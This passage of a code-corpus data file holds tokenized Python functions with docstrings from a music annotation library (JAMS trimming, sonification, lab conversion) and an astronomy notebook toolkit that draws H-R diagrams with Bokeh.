schema\n\n        See Also\n        --------\n        jsonschema.validate", "id": "f11239:c7:m6"}
{"signature": "def trim(self, start_time, end_time, strict=False):", "body": "<EOL>if self.file_metadata.duration is None:<EOL><INDENT>raise JamsError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if not (<NUM_LIT:0> <= start_time <= end_time <= float(<EOL>self.file_metadata.duration)):<EOL><INDENT>raise ParameterError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(float(self.file_metadata.duration)))<EOL><DEDENT>jam_trimmed = JAMS(annotations=None,<EOL>file_metadata=self.file_metadata,<EOL>sandbox=self.sandbox)<EOL>jam_trimmed.annotations = self.annotations.trim(<EOL>start_time, end_time, strict=strict)<EOL>if '<STR_LIT>' not in jam_trimmed.sandbox.keys():<EOL><INDENT>jam_trimmed.sandbox.update(<EOL>trim=[{'<STR_LIT>': start_time, '<STR_LIT>': end_time}])<EOL><DEDENT>else:<EOL><INDENT>jam_trimmed.sandbox.trim.append(<EOL>{'<STR_LIT>': start_time, '<STR_LIT>': end_time})<EOL><DEDENT>return jam_trimmed<EOL>", "docstring": "Trim all the annotations inside the jam and return as a new `JAMS`\nobject.\n\nSee `Annotation.trim` for details about how the annotations\nare trimmed.\n\nThis operation is also documented in the jam-level sandbox\nwith a list keyed by ``JAMS.sandbox.trim`` containing a tuple for each\njam-level trim of the form ``(start_time, end_time)``.\n\nThis function also copies over all of the file metadata from the\noriginal jam.\n\nNote: trimming does not affect the duration of the jam, i.e. the value\nof ``JAMS.file_metadata.duration`` will be the same for the original\nand trimmed jams.\n\nParameters\n----------\nstart_time : float\n    The desired start time for the trimmed annotations in seconds.\nend_time\n    The desired end time for trimmed annotations in seconds. Must be\n    greater than ``start_time``.\nstrict : bool\n    When ``False`` (default) observations that lie at the boundaries of\n    the trimming range (see `Annotation.trim` for details), will have\n    their time and/or duration adjusted such that only the part of the\n    observation that lies within the trim range is kept. When ``True``\n    such observations are discarded and not included in the trimmed\n    annotation.\n\nReturns\n-------\njam_trimmed : JAMS\n    The trimmed jam with trimmed annotations, returned as a new JAMS\n    object.", "id": "f11239:c7:m7"}
{"signature": "def slice(self, start_time, end_time, strict=False):", "body": "<EOL>if self.file_metadata.duration is None:<EOL><INDENT>raise JamsError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if (start_time < <NUM_LIT:0> or<EOL>start_time > float(self.file_metadata.duration) or<EOL>end_time < start_time or<EOL>end_time > float(self.file_metadata.duration)):<EOL><INDENT>raise ParameterError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(float(self.file_metadata.duration)))<EOL><DEDENT>jam_sliced = JAMS(annotations=None,<EOL>file_metadata=self.file_metadata,<EOL>sandbox=self.sandbox)<EOL>jam_sliced.annotations = self.annotations.slice(<EOL>start_time, end_time, strict=strict)<EOL>jam_sliced.file_metadata.duration = end_time - start_time<EOL>if '<STR_LIT>' not in jam_sliced.sandbox.keys():<EOL><INDENT>jam_sliced.sandbox.update(<EOL>slice=[{'<STR_LIT>': start_time, '<STR_LIT>': end_time}])<EOL><DEDENT>else:<EOL><INDENT>jam_sliced.sandbox.slice.append(<EOL>{'<STR_LIT>': start_time, '<STR_LIT>': end_time})<EOL><DEDENT>return jam_sliced<EOL>", "docstring": "Slice all the annotations inside the jam and return as a new `JAMS`\nobject.\n\nSee `Annotation.slice` for details about how the annotations\nare sliced.\n\nThis operation is also documented in the jam-level sandbox\nwith a list keyed by ``JAMS.sandbox.slice`` containing a tuple for each\njam-level slice of the form ``(start_time, end_time)``.\n\nSince slicing is implemented using trimming, the operation will also be\ndocumented in ``JAMS.sandbox.trim`` as described in `JAMS.trim`.\n\nThis function also copies over all of the file metadata from the\noriginal jam.\n\nNote: slicing will affect the duration of the jam, i.e. the new value\nof ``JAMS.file_metadata.duration`` will be ``end_time - start_time``.\n\nParameters\n----------\nstart_time : float\n    The desired start time for slicing in seconds.\nend_time\n    The desired end time for slicing in seconds. Must be greater than\n    ``start_time``.\nstrict : bool\n    When ``False`` (default) observations that lie at the boundaries of\n    the slicing range (see `Annotation.slice` for details), will have\n    their time and/or duration adjusted such that only the part of the\n    observation that lies within the slice range is kept. When ``True``\n    such observations are discarded and not included in the sliced\n    annotation.\n\nReturns\n-------\njam_sliced: JAMS\n    The sliced jam with sliced annotations, returned as a new\n    JAMS object.", "id": "f11239:c7:m8"}
{"signature": "@property<EOL><INDENT>def __json_light__(self):<DEDENT>", "body": "filtered_dict = dict()<EOL>for k, item in six.iteritems(self.__dict__):<EOL><INDENT>if k.startswith('<STR_LIT:_>') or k == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>if hasattr(item, '<STR_LIT>'):<EOL><INDENT>filtered_dict[k] = item.__json__<EOL><DEDENT>else:<EOL><INDENT>filtered_dict[k] = serialize_obj(item)<EOL><DEDENT><DEDENT>return filtered_dict<EOL>", "docstring": "r\"\"\"Return the JObject as a set of native data types for serialization.\n\n        Note: attributes beginning with underscores are suppressed.\n\n        This also skips the `annotations` field, which will be validated separately.", "id": "f11239:c7:m9"}
{"signature": "def process_arguments(args):", "body": "parser = argparse.ArgumentParser(description='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>nargs='<STR_LIT:+>',<EOL>help='<STR_LIT>')<EOL>return vars(parser.parse_args(args))<EOL>", "docstring": "Argument parser", "id": "f11240:m0"}
{"signature": "def load_json(filename):", "body": "with open(filename, '<STR_LIT:r>') as fdesc:<EOL><INDENT>return json.load(fdesc)<EOL><DEDENT>", "docstring": "Load a json file", "id": "f11240:m1"}
{"signature": "def validate(schema_file=None, jams_files=None):", "body": "schema = load_json(schema_file)<EOL>for jams_file in jams_files:<EOL><INDENT>try:<EOL><INDENT>jams = load_json(jams_file)<EOL>jsonschema.validate(jams, schema)<EOL>print('<STR_LIT>'.format(jams_file))<EOL><DEDENT>except jsonschema.ValidationError as exc:<EOL><INDENT>print('<STR_LIT>'.format(jams_file))<EOL>print(exc)<EOL><DEDENT><DEDENT>", "docstring": "Validate a jams file against a schema", "id": "f11240:m2"}
{"signature": "def mkclick(freq, sr=<NUM_LIT>, duration=<NUM_LIT:0.1>):", "body": "times = np.arange(int(sr * duration))<EOL>click = np.sin(<NUM_LIT:2> * np.pi * times * freq / float(sr))<EOL>click *= np.exp(- times / (<NUM_LIT> * sr))<EOL>return click<EOL>", "docstring": "Generate a click sample.\n\n    This replicates functionality from mir_eval.sonify.clicks,\n    but exposes the target frequency and duration.", "id": "f11242:m0"}
{"signature": "def clicks(annotation, sr=<NUM_LIT>, length=None, **kwargs):", "body": "interval, _ = annotation.to_interval_values()<EOL>return filter_kwargs(mir_eval.sonify.clicks, interval[:, <NUM_LIT:0>],<EOL>fs=sr, length=length, **kwargs)<EOL>", "docstring": "Sonify events with clicks.\n\n    This uses mir_eval.sonify.clicks, and is appropriate for instantaneous\n    events such as beats or segment boundaries.", "id": "f11242:m1"}
{"signature": "def downbeat(annotation, sr=<NUM_LIT>, length=None, **kwargs):", "body": "beat_click = mkclick(<NUM_LIT> * <NUM_LIT:2>, sr=sr)<EOL>downbeat_click = mkclick(<NUM_LIT> * <NUM_LIT:3>, sr=sr)<EOL>intervals, values = annotation.to_interval_values()<EOL>beats, downbeats = [], []<EOL>for time, value in zip(intervals[:, <NUM_LIT:0>], values):<EOL><INDENT>if value['<STR_LIT>'] == <NUM_LIT:1>:<EOL><INDENT>downbeats.append(time)<EOL><DEDENT>else:<EOL><INDENT>beats.append(time)<EOL><DEDENT><DEDENT>if length is None:<EOL><INDENT>length = int(sr * np.max(intervals)) + len(beat_click) + <NUM_LIT:1><EOL><DEDENT>y = filter_kwargs(mir_eval.sonify.clicks,<EOL>np.asarray(beats),<EOL>fs=sr, length=length, click=beat_click)<EOL>y += filter_kwargs(mir_eval.sonify.clicks,<EOL>np.asarray(downbeats),<EOL>fs=sr, length=length, click=downbeat_click)<EOL>return y<EOL>", "docstring": "Sonify beats and downbeats together.", "id": "f11242:m2"}
{"signature": "def multi_segment(annotation, sr=<NUM_LIT>, length=None, **kwargs):", "body": "<EOL>PENT = [<NUM_LIT:1>, <NUM_LIT>/<NUM_LIT>, <NUM_LIT>/<NUM_LIT:3>, <NUM_LIT>/<NUM_LIT:2>, <NUM_LIT>/<NUM_LIT:9>]<EOL>DURATION = <NUM_LIT:0.1><EOL>h_int, _ = hierarchy_flatten(annotation)<EOL>if length is None:<EOL><INDENT>length = int(sr * (max(np.max(_) for _ in h_int) + <NUM_LIT:1.> / DURATION) + <NUM_LIT:1>)<EOL><DEDENT>y = <NUM_LIT:0.0><EOL>for ints, (oc, scale) in zip(h_int, product(range(<NUM_LIT:3>, <NUM_LIT:3> + len(h_int)),<EOL>PENT)):<EOL><INDENT>click = mkclick(<NUM_LIT> * scale * oc, sr=sr, duration=DURATION)<EOL>y = y + filter_kwargs(mir_eval.sonify.clicks,<EOL>np.unique(ints),<EOL>fs=sr, length=length,<EOL>click=click)<EOL><DEDENT>return y<EOL>", "docstring": "Sonify multi-level segmentations", "id": "f11242:m3"}
{"signature": "def chord(annotation, sr=<NUM_LIT>, length=None, **kwargs):", "body": "intervals, chords = annotation.to_interval_values()<EOL>return filter_kwargs(mir_eval.sonify.chords,<EOL>chords, intervals,<EOL>fs=sr, length=length,<EOL>**kwargs)<EOL>", "docstring": "Sonify chords\n\n    This uses mir_eval.sonify.chords.", "id": "f11242:m4"}
{"signature": "def pitch_contour(annotation, sr=<NUM_LIT>, length=None, **kwargs):", "body": "<EOL>times = defaultdict(list)<EOL>freqs = defaultdict(list)<EOL>for obs in annotation:<EOL><INDENT>times[obs.value['<STR_LIT:index>']].append(obs.time)<EOL>freqs[obs.value['<STR_LIT:index>']].append(obs.value['<STR_LIT>'] *<EOL>(-<NUM_LIT:1>)**(~obs.value['<STR_LIT>']))<EOL><DEDENT>y_out = <NUM_LIT:0.0><EOL>for ix in times:<EOL><INDENT>y_out = y_out + filter_kwargs(mir_eval.sonify.pitch_contour,<EOL>np.asarray(times[ix]),<EOL>np.asarray(freqs[ix]),<EOL>fs=sr, length=length,<EOL>**kwargs)<EOL>if length is None:<EOL><INDENT>length = len(y_out)<EOL><DEDENT><DEDENT>return y_out<EOL>", "docstring": "Sonify pitch contours.\n\n    This uses mir_eval.sonify.pitch_contour, and should only be applied\n    to pitch annotations using the pitch_contour namespace.\n\n    Each contour is sonified independently, and the resulting waveforms\n    are summed together.", "id": "f11242:m5"}
{"signature": "def piano_roll(annotation, sr=<NUM_LIT>, length=None, **kwargs):", "body": "intervals, pitches = annotation.to_interval_values()<EOL>pitch_map = {f: idx for idx, f in enumerate(np.unique(pitches))}<EOL>gram = np.zeros((len(pitch_map), len(intervals)))<EOL>for col, f in enumerate(pitches):<EOL><INDENT>gram[pitch_map[f], col] = <NUM_LIT:1><EOL><DEDENT>return filter_kwargs(mir_eval.sonify.time_frequency,<EOL>gram, pitches, intervals,<EOL>sr, length=length, **kwargs)<EOL>", "docstring": "Sonify a piano-roll\n\n    This uses mir_eval.sonify.time_frequency, and is appropriate\n    for sparse transcription data, e.g., annotations in the `note_midi`\n    namespace.", "id": "f11242:m6"}
{"signature": "def sonify(annotation, sr=<NUM_LIT>, duration=None, **kwargs):", "body": "length = None<EOL>if duration is None:<EOL><INDENT>duration = annotation.duration<EOL><DEDENT>if duration is not None:<EOL><INDENT>length = int(duration * sr)<EOL><DEDENT>if annotation.namespace in SONIFY_MAPPING:<EOL><INDENT>ann = coerce_annotation(annotation, annotation.namespace)<EOL>return SONIFY_MAPPING[annotation.namespace](ann,<EOL>sr=sr,<EOL>length=length,<EOL>**kwargs)<EOL><DEDENT>for namespace, func in six.iteritems(SONIFY_MAPPING):<EOL><INDENT>try:<EOL><INDENT>ann = coerce_annotation(annotation, namespace)<EOL>return func(ann, sr=sr, length=length, **kwargs)<EOL><DEDENT>except NamespaceError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>raise NamespaceError('<STR_LIT>'<EOL>.format(annotation.namespace))<EOL>", "docstring": "Sonify a jams annotation through mir_eval\n\n    Parameters\n    ----------\n    annotation : jams.Annotation\n        The annotation to sonify\n\n    sr = : positive number\n        The sampling rate of the output waveform\n\n    duration : float (optional)\n        Optional length (in seconds) of the output waveform\n\n    kwargs\n        Additional keyword arguments to mir_eval.sonify functions\n\n    Returns\n    -------\n    y_sonified : np.ndarray\n        The waveform of the sonified annotation\n\n    Raises\n    ------\n    NamespaceError\n        If the annotation has an un-sonifiable namespace", "id": "f11242:m7"}
{"signature": "def get_output_name(output_prefix, namespace, index):", "body": "return '<STR_LIT>'.format(output_prefix, namespace, index)<EOL>", "docstring": "Get the output name (prefix)\n\n    Parameters\n    ----------\n    output_prefix : str\n        The path prefix of the target filename\n\n    namespace : str\n        The namespace of the annotation in question\n\n    index : int\n        The index number of this annotation within the namespace\n\n    Returns\n    -------\n    output_name : str\n        \"output_prefix__namespace__index\"", "id": "f11244:m0"}
{"signature": "def get_comments(jam, ann):", "body": "jam_comments = jam.file_metadata.__json__<EOL>ann_comments = ann.annotation_metadata.__json__<EOL>return json.dumps({'<STR_LIT>': jam_comments,<EOL>'<STR_LIT>': ann_comments},<EOL>indent=<NUM_LIT:2>)<EOL>", "docstring": "Get the metadata from a jam and an annotation, combined as a string.\n\n    Parameters\n    ----------\n    jam : JAMS\n        The jams object\n\n    ann : Annotation\n        An annotation object\n\n    Returns\n    -------\n    comments : str\n        The jam.file_metadata and ann.annotation_metadata, combined and serialized", "id": "f11244:m1"}
{"signature": "def lab_dump(ann, comment, filename, sep, comment_char):", "body": "intervals, values = ann.to_interval_values()<EOL>frame = pd.DataFrame(columns=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'],<EOL>data={'<STR_LIT>': intervals[:, <NUM_LIT:0>],<EOL>'<STR_LIT>': intervals[:, <NUM_LIT:1>],<EOL>'<STR_LIT>': values})<EOL>with open(filename, '<STR_LIT:w>') as fdesc:<EOL><INDENT>for line in comment.split('<STR_LIT:\\n>'):<EOL><INDENT>fdesc.write('<STR_LIT>'.format(comment_char, line))<EOL><DEDENT>frame.to_csv(path_or_buf=fdesc, index=False, sep=sep)<EOL><DEDENT>", "docstring": "Save an annotation as a lab/csv.\n\n    Parameters\n    ----------\n    ann : Annotation\n        The annotation object\n\n    comment : str\n        The comment string header\n\n    filename : str\n        The output filename\n\n    sep : str\n        The separator string for output\n\n    comment_char : str\n        The character used to denote comments", "id": "f11244:m2"}
{"signature": "def convert_jams(jams_file, output_prefix, csv=False, comment_char='<STR_LIT:#>', namespaces=None):", "body": "if namespaces is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>jam = jams.load(jams_file)<EOL>counter = collections.Counter()<EOL>annotations = []<EOL>for query in namespaces:<EOL><INDENT>annotations.extend(jam.search(namespace=query))<EOL><DEDENT>if csv:<EOL><INDENT>suffix = '<STR_LIT>'<EOL>sep = '<STR_LIT:U+002C>'<EOL><DEDENT>else:<EOL><INDENT>suffix = '<STR_LIT>'<EOL>sep = '<STR_LIT:\\t>'<EOL><DEDENT>for ann in annotations:<EOL><INDENT>index = counter[ann.namespace]<EOL>counter[ann.namespace] += <NUM_LIT:1><EOL>filename = os.path.extsep.join([get_output_name(output_prefix,<EOL>ann.namespace,<EOL>index),<EOL>suffix])<EOL>comment = get_comments(jam, ann)<EOL>lab_dump(ann, comment, filename, sep, comment_char)<EOL><DEDENT>", "docstring": "Convert jams to labs.\n\n    Parameters\n    ----------\n    jams_file : str\n        The path on disk to the jams file in question\n\n    output_prefix : str\n        The file path prefix of the outputs\n\n    csv : bool\n        Whether to output in csv (True) or lab (False) format\n\n    comment_char : str\n        The character used to denote comments\n\n    namespaces : list-like\n        The set of namespace patterns to match for output", "id": "f11244:m3"}
{"signature": "def parse_arguments(args):", "body": "parser = argparse.ArgumentParser(description='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT:-c>',<EOL>'<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>default=False,<EOL>help='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', dest='<STR_LIT>', type=str, default='<STR_LIT:#>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>nargs='<STR_LIT:+>',<EOL>default=['<STR_LIT>'],<EOL>help='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>')<EOL>return vars(parser.parse_args(args))<EOL>", "docstring": "Parse arguments from the command line", "id": "f11244:m4"}
{"signature": "def pprint(arr, columns=('<STR_LIT>', '<STR_LIT>'),<EOL>names=('<STR_LIT>', '<STR_LIT>'),<EOL>max_rows=<NUM_LIT:32>, precision=<NUM_LIT:2>):", "body": "if max_rows is True:<EOL><INDENT>pd.set_option('<STR_LIT>', <NUM_LIT:1000>)<EOL><DEDENT>elif type(max_rows) is int:<EOL><INDENT>pd.set_option('<STR_LIT>', max_rows)<EOL><DEDENT>pd.set_option('<STR_LIT>', precision)<EOL>df = pd.DataFrame(arr.flatten(), index=arr['<STR_LIT:id>'].flatten(),<EOL>columns=columns)<EOL>df.columns = names<EOL>return df.style.format({names[<NUM_LIT:0>]: '<STR_LIT>',<EOL>names[<NUM_LIT:1>]: '<STR_LIT>'})<EOL>", "docstring": "Create a pandas DataFrame from a numpy ndarray.\n\nBy default use temp and lum with max rows of 32 and precision of 2.\n\narr - An numpy.ndarray.\ncolumns - The columns to include in the pandas DataFrame. Defaults to\n          temperature and luminosity.\nnames - The column names for the pandas DataFrame. Defaults to\n        Temperature and Luminosity.\nmax_rows - If max_rows is an integer then set the pandas\n           display.max_rows option to that value. If max_rows\n           is True then set display.max_rows option  to 1000.\nprecision - An integer to set the pandas precision option.", "id": "f11253:m1"}
{"signature": "def __init__(self, query=None, table=None):", "body": "if table is None:<EOL><INDENT>if query:<EOL><INDENT>super().__init__(query=query)<EOL><DEDENT>else:<EOL><INDENT>super().__init__(self.query)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>super().__init__(table=table)<EOL><DEDENT>", "docstring": "Initialize the data using the default query for Berkeley 20,\nor a provided query xor table.", "id": "f11253:c4:m0"}
{"signature": "def __init__(self, file_like, data_types=None):", "body": "pass<EOL>", "docstring": "A source of data.", "id": "f11254:c0:m0"}
{"signature": "def remote_jupyter_proxy_url(port):", "body": "base_url = os.environ['<STR_LIT>']<EOL>host = urllib.parse.urlparse(base_url).netloc<EOL>if port is None:<EOL><INDENT>return host<EOL><DEDENT>service_url_path = os.environ['<STR_LIT>']<EOL>proxy_url_path = '<STR_LIT>' % port<EOL>user_url = urllib.parse.urljoin(base_url, service_url_path)<EOL>full_url = urllib.parse.urljoin(user_url, proxy_url_path)<EOL>return full_url<EOL>", "docstring": "Callable to configure Bokeh's show method when a proxy must be\nconfigured.\n\nIf port is None we're asking about the URL\nfor the origin header.", "id": "f11260:m0"}
{"signature": "def setup_notebook(debug=False):", "body": "output_notebook(INLINE, hide_banner=True)<EOL>if debug:<EOL><INDENT>_setup_logging(logging.DEBUG)<EOL>logging.debug('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>_setup_logging(logging.WARNING)<EOL><DEDENT>if '<STR_LIT>' not in os.environ:<EOL><INDENT>global jupyter_proxy_url<EOL>jupyter_proxy_url = '<STR_LIT>'<EOL>logging.info('<STR_LIT>')<EOL><DEDENT>", "docstring": "Called at the start of notebook execution to setup the environment.\n\n    This will configure bokeh, and setup the logging library to be\n    reasonable.", "id": "f11260:m2"}
{"signature": "def _diagram(plot_figure, source=None, color='<STR_LIT>', line_color='<STR_LIT>',<EOL>xaxis_label='<STR_LIT>', yaxis_label='<STR_LIT>', name=None):", "body": "plot_figure.circle(x='<STR_LIT:x>', y='<STR_LIT:y>', source=source,<EOL>size=<NUM_LIT:5>, color=color, alpha=<NUM_LIT:1>, name=name,<EOL>line_color=line_color, line_width=<NUM_LIT:0.5>)<EOL>plot_figure.xaxis.axis_label = xaxis_label<EOL>plot_figure.yaxis.axis_label = yaxis_label<EOL>plot_figure.yaxis.formatter = NumeralTickFormatter()<EOL>", "docstring": "Use a :class:`~bokeh.plotting.figure.Figure` and x and y collections\n    to create an H-R diagram.", "id": "f11263:m1"}
{"signature": "def cc_diagram(cluster_name):", "body": "x, y = get_hr_data(cluster_name)<EOL>y_range = [max(y) + <NUM_LIT:0.5>, min(y) - <NUM_LIT>]<EOL>pf = figure(y_range=y_range, title=cluster_name)<EOL>_diagram(x, y, pf)<EOL>show_with_bokeh_server(pf)<EOL>", "docstring": "Create a :class:`~bokeh.plotting.figure.Figure` to create an H-R\n    diagram using the cluster_name; then show it.", "id": "f11263:m2"}
{"signature": "def hr_diagram(cluster_name, output=None):", "body": "cluster = get_hr_data(cluster_name)<EOL>pf = hr_diagram_figure(cluster)<EOL>show_with_bokeh_server(pf)<EOL>", "docstring": "Create a :class:`~bokeh.plotting.figure.Figure` to create an H-R\n    diagram using the cluster_name; then show it.\n\n    Re", "id": "f11263:m6"}
{"signature": "def skyimage_figure(cluster):", "body": "pf_image = figure(x_range=(<NUM_LIT:0>, <NUM_LIT:1>), y_range=(<NUM_LIT:0>, <NUM_LIT:1>),<EOL>title='<STR_LIT>'.format(cluster.name))<EOL>pf_image.image_url(url=[cluster.image_path],<EOL>x=<NUM_LIT:0>, y=<NUM_LIT:0>, w=<NUM_LIT:1>, h=<NUM_LIT:1>, anchor='<STR_LIT>')<EOL>pf_image.toolbar_location = None<EOL>pf_image.axis.visible = False<EOL>return pf_image<EOL>", "docstring": "Given a cluster create a Bokeh plot figure using the\ncluster's image.", "id": "f11263:m7"}
{"signature": "def round_teff_luminosity(cluster):", "body": "temps = [round(t, -<NUM_LIT:1>) for t in teff(cluster)]<EOL>lums = [round(l, <NUM_LIT:3>) for l in luminosity(cluster)]<EOL>return temps, lums<EOL>", "docstring": "Returns rounded teff and luminosity lists.", "id": "f11263:m8"}
{"signature": "def hr_diagram_figure(cluster):", "body": "temps, lums = round_teff_luminosity(cluster)<EOL>x, y = temps, lums<EOL>colors, color_mapper = hr_diagram_color_helper(temps)<EOL>x_range = [max(x) + max(x) * <NUM_LIT>, min(x) - min(x) * <NUM_LIT>]<EOL>source = ColumnDataSource(data=dict(x=x, y=y, color=colors))<EOL>pf = figure(y_axis_type='<STR_LIT>', x_range=x_range, name='<STR_LIT>',<EOL>tools='<STR_LIT>',<EOL>title='<STR_LIT>'.format(cluster.name))<EOL>pf.select(BoxSelectTool).select_every_mousemove = False<EOL>pf.select(LassoSelectTool).select_every_mousemove = False<EOL>hover = pf.select(HoverTool)[<NUM_LIT:0>]<EOL>hover.tooltips = [(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT>\", \"<STR_LIT>\")]<EOL>_diagram(source=source, plot_figure=pf, name='<STR_LIT>',<EOL>color={'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': color_mapper},<EOL>xaxis_label='<STR_LIT>',<EOL>yaxis_label='<STR_LIT>')<EOL>return pf<EOL>", "docstring": "Given a cluster create a Bokeh plot figure creating an\nH-R diagram.", "id": "f11263:m9"}
{"signature": "def calculate_diagram_ranges(data):", "body": "data = round_arr_teff_luminosity(data)<EOL>temps = data['<STR_LIT>']<EOL>x_range = [<NUM_LIT> * np.amax(temps), <NUM_LIT> * np.amin(temps)]<EOL>lums = data['<STR_LIT>']<EOL>y_range = [<NUM_LIT> * np.amin(lums), <NUM_LIT:2> * np.amax(lums)]<EOL>return (x_range, y_range)<EOL>", "docstring": "Given a numpy array calculate what the ranges of the H-R\ndiagram should be.", "id": "f11263:m10"}
{"signature": "def hr_diagram_from_data(data, x_range, y_range):", "body": "_, color_mapper = hr_diagram_color_helper([])<EOL>data_dict = {<EOL>'<STR_LIT:x>': list(data['<STR_LIT>']),<EOL>'<STR_LIT:y>': list(data['<STR_LIT>']),<EOL>'<STR_LIT>': list(data['<STR_LIT>'])<EOL>}<EOL>source = ColumnDataSource(data=data_dict)<EOL>pf = figure(y_axis_type='<STR_LIT>', x_range=x_range, y_range=y_range)<EOL>_diagram(source=source, plot_figure=pf,<EOL>color={'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': color_mapper},<EOL>xaxis_label='<STR_LIT>',<EOL>yaxis_label='<STR_LIT>')<EOL>show_with_bokeh_server(pf)<EOL>", "docstring": "Given a numpy array create a Bokeh plot figure creating an\nH-R diagram.", "id": "f11263:m11"}
{"signature": "def cluster_text_input(cluster, title=None):", "body": "if not title:<EOL><INDENT>title = '<STR_LIT>'<EOL><DEDENT>return TextInput(value=cluster.name, title=title)<EOL>", "docstring": "Create an :class:`~bokeh.models.widgets.TextInput` using\nthe cluster.name as the default value and title.\n\nIf no title is provided use, 'Type in the name of your cluster\nand press Enter/Return:'.", "id": "f11263:m12"}
{"signature": "def hr_diagram_selection(cluster_name):", "body": "cluster = get_hr_data(cluster_name)<EOL>temps, lums = round_teff_luminosity(cluster)<EOL>x, y = temps, lums<EOL>colors, color_mapper = hr_diagram_color_helper(temps)<EOL>x_range = [max(x) + max(x) * <NUM_LIT>, min(x) - min(x) * <NUM_LIT>]<EOL>source = ColumnDataSource(data=dict(x=x, y=y, color=colors), name='<STR_LIT>')<EOL>source_selected = ColumnDataSource(data=dict(x=[], y=[], color=[]),<EOL>name='<STR_LIT>')<EOL>pf = figure(y_axis_type='<STR_LIT>', x_range=x_range,<EOL>tools='<STR_LIT>',<EOL>title='<STR_LIT>'.format(cluster.name))<EOL>_diagram(source=source, plot_figure=pf, name='<STR_LIT>', color={'<STR_LIT>':<EOL>'<STR_LIT>', '<STR_LIT>': color_mapper},<EOL>xaxis_label='<STR_LIT>',<EOL>yaxis_label='<STR_LIT>')<EOL>pf_selected = figure(y_axis_type='<STR_LIT>', y_range=pf.y_range,<EOL>x_range=x_range,<EOL>tools='<STR_LIT>',<EOL>title='<STR_LIT>'.format(cluster.name))<EOL>_diagram(source=source_selected, plot_figure=pf_selected, name='<STR_LIT>',<EOL>color={'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': color_mapper},<EOL>xaxis_label='<STR_LIT>',<EOL>yaxis_label='<STR_LIT>')<EOL>source.callback = CustomJS(args=dict(source_selected=source_selected),<EOL>code=\"\"\"<STR_LIT>\"\"\")<EOL>show_with_bokeh_server(row(pf, pf_selected))<EOL>", "docstring": "Given a cluster create two Bokeh plot based H-R diagrams.\nThe Selection in the left H-R diagram will show up on the\nright one.", "id": "f11263:m18"}
{"signature": "def _filter_cluster_data(self):", "body": "min_temp = self.temperature_range_slider.value[<NUM_LIT:0>]<EOL>max_temp = self.temperature_range_slider.value[<NUM_LIT:1>]<EOL>temp_mask = np.logical_and(<EOL>self.cluster.catalog['<STR_LIT>'] >= min_temp,<EOL>self.cluster.catalog['<STR_LIT>'] <= max_temp<EOL>)<EOL>min_lum = self.luminosity_range_slider.value[<NUM_LIT:0>]<EOL>max_lum = self.luminosity_range_slider.value[<NUM_LIT:1>]<EOL>lum_mask = np.logical_and(<EOL>self.cluster.catalog['<STR_LIT>'] >= min_lum,<EOL>self.cluster.catalog['<STR_LIT>'] <= max_lum<EOL>)<EOL>selected_mask = np.isin(self.cluster.catalog['<STR_LIT:id>'], self.selection_ids)<EOL>filter_mask = temp_mask & lum_mask & selected_mask<EOL>self.filtered_data = self.cluster.catalog[filter_mask].data<EOL>self.source.data = {<EOL>'<STR_LIT:id>': list(self.filtered_data['<STR_LIT:id>']),<EOL>'<STR_LIT>': list(self.filtered_data['<STR_LIT>']),<EOL>'<STR_LIT>': list(self.filtered_data['<STR_LIT>']),<EOL>'<STR_LIT>': list(self.filtered_data['<STR_LIT>'])<EOL>}<EOL>logging.debug(\"<STR_LIT>\", self.filtered_data)<EOL>", "docstring": "Filter the cluster data catalog into the filtered_data\ncatalog, which is what is shown in the H-R diagram.\n\nFilter on the values of the sliders, as well as the lasso\nselection in the skyviewer.", "id": "f11263:c0:m2"}
{"signature": "def teff(cluster):", "body": "b_vs, _ = cluster.stars()<EOL>teffs = []<EOL>for b_v in b_vs:<EOL><INDENT>b_v -= cluster.eb_v<EOL>if b_v > -<NUM_LIT>:<EOL><INDENT>x = (<NUM_LIT> - b_v) / <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>x = (<NUM_LIT> - math.sqrt(<NUM_LIT> + <NUM_LIT> * b_v)) / <NUM_LIT><EOL><DEDENT>teffs.append(math.pow(<NUM_LIT:10>, x))<EOL><DEDENT>return teffs<EOL>", "docstring": "Calculate Teff for main sequence stars ranging from Teff 3500K - 8000K. Use\n[Fe/H] of the cluster, if available.\n\nReturns a list of Teff values.", "id": "f11264:m2"}
{"signature": "def bc(temp):", "body": "return (-<NUM_LIT> + temp * <NUM_LIT> - temp**<NUM_LIT:2> * <NUM_LIT><EOL>+ temp**<NUM_LIT:3> * <NUM_LIT>)<EOL>", "docstring": "Calculate Bolometric Correction Using the Teff from the previous equation.\nThis correction is for main sequence stars of the Teff range given above.", "id": "f11264:m4"}
